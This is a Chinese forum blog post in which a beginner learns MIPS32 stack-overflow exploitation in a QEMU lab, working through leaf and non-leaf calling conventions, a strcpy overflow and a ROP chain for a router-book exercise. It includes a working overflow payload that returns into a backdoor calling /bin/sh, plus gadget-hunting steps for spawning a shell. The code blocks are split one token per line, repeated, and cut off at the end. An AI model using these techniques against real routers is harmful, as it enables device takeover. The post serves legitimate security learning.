上周,花了一周多一点的时间来学了一些Linux kernel pwn入门,主要是学了Wiki上面的四个利用姿势;具体可以看我的前几篇博客。然后的话,接下来会入门路由器的栈溢出。因为是初学,所以也会尽可能地详细地记录。
有关MIPS汇编的一些基础知识,可以参考以下我的这一篇博文
在计算机科学中,栈是一种具有先进后出队列特性的数据结构。调用栈是指存放某个程序正在运行的函数的信息的栈。调用栈由栈帧组成,每个栈帧对应一个未完成的函数。
而MIPS32架构的堆栈与传统PC的架构复杂指令系统不同,大多数采用Linux嵌入式操作系统的路由器采用的是MIPS指令系统,该指令系统属于精简指令系统。MIPS32架构的函数调用与x86架构有很大的差别,具体有以下几个方面:
举个栗子:
编译链接,查看汇编代码:
然后拉进ida查看
可以看到,在我们进入main函数的时候,并没有对RA寄存器进行任何操作,而当我们退出main函数的时候,是直接jr 到我们$ra寄存器存放的地址;这就是叶子函数调用时的栈布局。
下面稍作调整:
同上编译链接:
拉进ida查看:
可以看到,在我们进入main函数的栈之后,我们先把$ra寄存器的值存放到了我们的0x28+var_4($sp)这个栈空间,然后在我们退出main函数的栈时,先是把我们的0x28+var_4($sp)栈地址的值赋值给我们的$ra寄存器,然后再jr到对应地址。
所以,对于非叶子函数来说,如果存在局部变量溢出,就可能导致堆栈上的返回地址被覆盖,从而控制执行流。因此这种情况下缓冲区溢出是可以被利用的。但是对于叶子函数来说,它的返回地址是没有放置在栈上,所以我们无法修改对应的返回地址。但是这不意味者叶子函数的缓冲区溢出就完全无法利用。如果缓冲区溢出覆盖的区域足够大,我们是有可能覆盖到上一层调用该函数的函数的返回地址的。所以,当非叶子函数中存在缓冲区溢出漏洞时,程序上的执行流程也是存在被劫持的可能性的。
因此,在MIPS32的体系中,栈溢出利用仍然是可行的。
编译链接
先挂起:
然后gdb连接调试:
然后再在gdb里面
gdb连接起来后,在我们的strcpy之后下个断点:
然后查看此时栈的情况:
所以,由上图可以算出覆盖到返回地址的地址偏移。
最后利用:
成功get到我们的shell!!!
栈的布局,可以看看这幅图:
栈的生长方向为低地址向高地址,缓冲区溢出时就向 main 函数的区域溢出,控制程序流也就需要溢出到原来的RA寄存器处的栈空间
这里讲一下环境的安装吧,这里的环境又搞了我好久。。。。
首先,我们需要ROP链,就需要找gadget。
而在MIPS架构中,一般是利用ida中的插件mipsrop。
但是这个mipsrop插件有两个版本,一个是只支持ida 6.7以下版本的;一个是支持ida 7.0版本的。
昨晚的时候先是在ubantu安装了wine,然后在ubantu模拟运行了Windows版本的ida 6.8,发现里面的py脚本无效,后来就在ubantu中利用wine模拟运行ida7.0,然后发现缺少很多Windows下的dll文件,然后就在我的Windows复制过去,但是还是不成功,压根无法运行起来。
最后是安装了ubantu版本的ida,然后用了第一个版本的插件,才成功了。主要是参考了这篇文章。
这里主要是以路由器0day里面的那道题为例:
题目的漏洞比较明显,我们的main函数中buf存在溢出条件,而且main函数还是非叶子函数,所以我们可以利用覆盖栈中的返回地址(保存的RA寄存器)。
首先需要查看我们覆盖的buf距离我们栈中返回地址的偏移。我这里是利用了书本给的脚本生成我们的测试文件(其实这个挺随意的,主要生成的字符串保证不重复即可)
生成我们的测试文件passwd,然后我们利用ida远程调试;
先挂起
然后利用我们的ida远程链接,f9让其跑,最后发现:
PC寄存器被我们引到0x6e41376e处,也就是字符串"n7An"(我安装的是小端序),所以我们可以利用ubantu自带的LibreOffice查找偏移:
这里我利用的是上面说到的mipsrop,ida中的一个插件。
发现这个gadget符合我们的要求,因为我们的do_system的第一个参数(对应于a0)对我们并没有关系,我们只需要劫持我们的第二个参数(a1)为我们的"/sh"等get shell参数即可。
所以,我们只需要在我们的sp+0x18的位置构造我们的get shell参数,在我们的sp+0x54的地方构造我们的do_system函数的地址即可。
这里说一个自己踩的坑吧。我们的ROP链是在main函数返回上一层才会被触发的,当运行到我们的ROP链时,这时候main的栈已经被回收了。
https://www.anquanke.com/post/id/169689
https://xz.aliyun.com/t/6808#toc-11
int
main(){
int
i;
int
sum
=
0
;
for
(i
=
0
;i<
5
;i
+
+
){
sum
=
sum
+
i;
}
}
int
main(){
int
i;
int
sum
=
0
;
for
(i
=
0
;i<
5
;i
+
+
){
sum
=
sum
+
i;
}
}
sudo .
/
buildroot
/
output
/
host
/
bin
/
mipsel
-
linux
-
gcc ~
/
leaf.c
-
static
-
o ~
/
no_leaf
sudo .
/
buildroot
/
output
/
host
/
bin
/
mipsel
-
linux
-
gcc ~
/
leaf.c
-
static
-
o ~
/
no_leaf
int
main(){
int
i;
int
sum
=
0
;
for
(i
=
0
;i<
5
;i
+
+
){
sum
=
sum
+
i;
printf(
"sum = %d"
,
sum
);
}
}
int
main(){
int
i;
int
sum
=
0
;
for
(i
=
0
;i<
5
;i
+
+
){
sum
=
sum
+
i;
printf(
"sum = %d"
,
sum
);
}
}
sudo .
/
buildroot
/
output
/
host
/
bin
/
mipsel
-
linux
-
gcc ~
/
leaf.c
-
static
-
o ~
/
leaf
sudo .
/
buildroot
/
output
/
host
/
bin
/
mipsel
-
linux
-
gcc ~
/
leaf.c
-
static
-
o ~
/
leaf
void backdoor(){
system(
"/bin/sh"
);
}
void has_stack(char
*
src)
{
char dst[
20
]
=
{
0
};
strcpy(dst,src);
printf(
"copy successfully"
);
}
void main(
int
argc,char
*
argv[])
{
has_stack(argv[
1
]);
}
void backdoor(){
system(
"/bin/sh"
);
}
void has_stack(char
*
src)
{
char dst[
20
]
=
{
0
};
strcpy(dst,src);
printf(
"copy successfully"
);
}
void main(
int
argc,char
*
argv[])
{
has_stack(argv[
1
]);
}
.
/
buildroot
/
output
/
host
/
bin
/
mipsel
-
linux
-
gcc ~
/
stack.c
-
static
-
o ~
/
stack
.
/
buildroot
/
output
/
host
/
bin
/
mipsel
-
linux
-
gcc ~
/
stack.c
-
static
-
o ~
/
stack
qemu
-
mipsel
-
g
1234
.
/
stack aaaaaaaaaaaaaaaaaaaa
qemu
-
mipsel
-
g
1234
.
/
stack aaaaaaaaaaaaaaaaaaaa
gdb
-
multiarch .
/
stack
target remote:
1234
qemu
-
mipsel stack `python
-
c
"print 'a'*28+'\x90\x03\x40\x00'"
`
qemu
-
mipsel stack `python
-
c
"print 'a'*28+'\x90\x03\x40\x00'"
`
void do_system(
int
code,char
*
cmd)
{
char buf[
255
];
system(cmd);
}
void main()
{
char buf[
256
]
=
{
0
};
char ch;
int
count
=
0
;
unsigned
int
filelen
=
0
;
struct stat fileData;
FILE
*
fp;
if
(
0
=
=
stat(
"passwd"
,&fileData))
{
filelen
=
fileData.st_size;
}
else
{
return
1
;
}
if
((fp
=
fopen(
"passwd"
,
"rb"
))
=
=
NULL)
{
printf(
"cannot open file passwd!\n"
);
}
ch
=
fgetc(fp);
while
(count<
=
filelen)
{
buf[count
+
+
]
=
ch;
ch
=
fgetc(fp);
}
buf[
-
-
count]
=
'\x00'
;
if
(!strcmp(buf,
"adminpwd"
))
{
do_system(count,
"ls -l"
);
}
else
{
printf(
"you have an invalid password!\n"
);
}
fclose(fp);
}
void do_system(
int
code,char
*
cmd)
{
char buf[
255
];
system(cmd);
}
void main()
{
char buf[
256
]
=
{
0
};
char ch;
int
count
=
0
;
unsigned
int
filelen
=
0
;
struct stat fileData;
FILE
*
fp;
if
(
0
=
=
stat(
"passwd"
,&fileData))
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2020-10-25 19:19
被T1e9u编辑
,原因: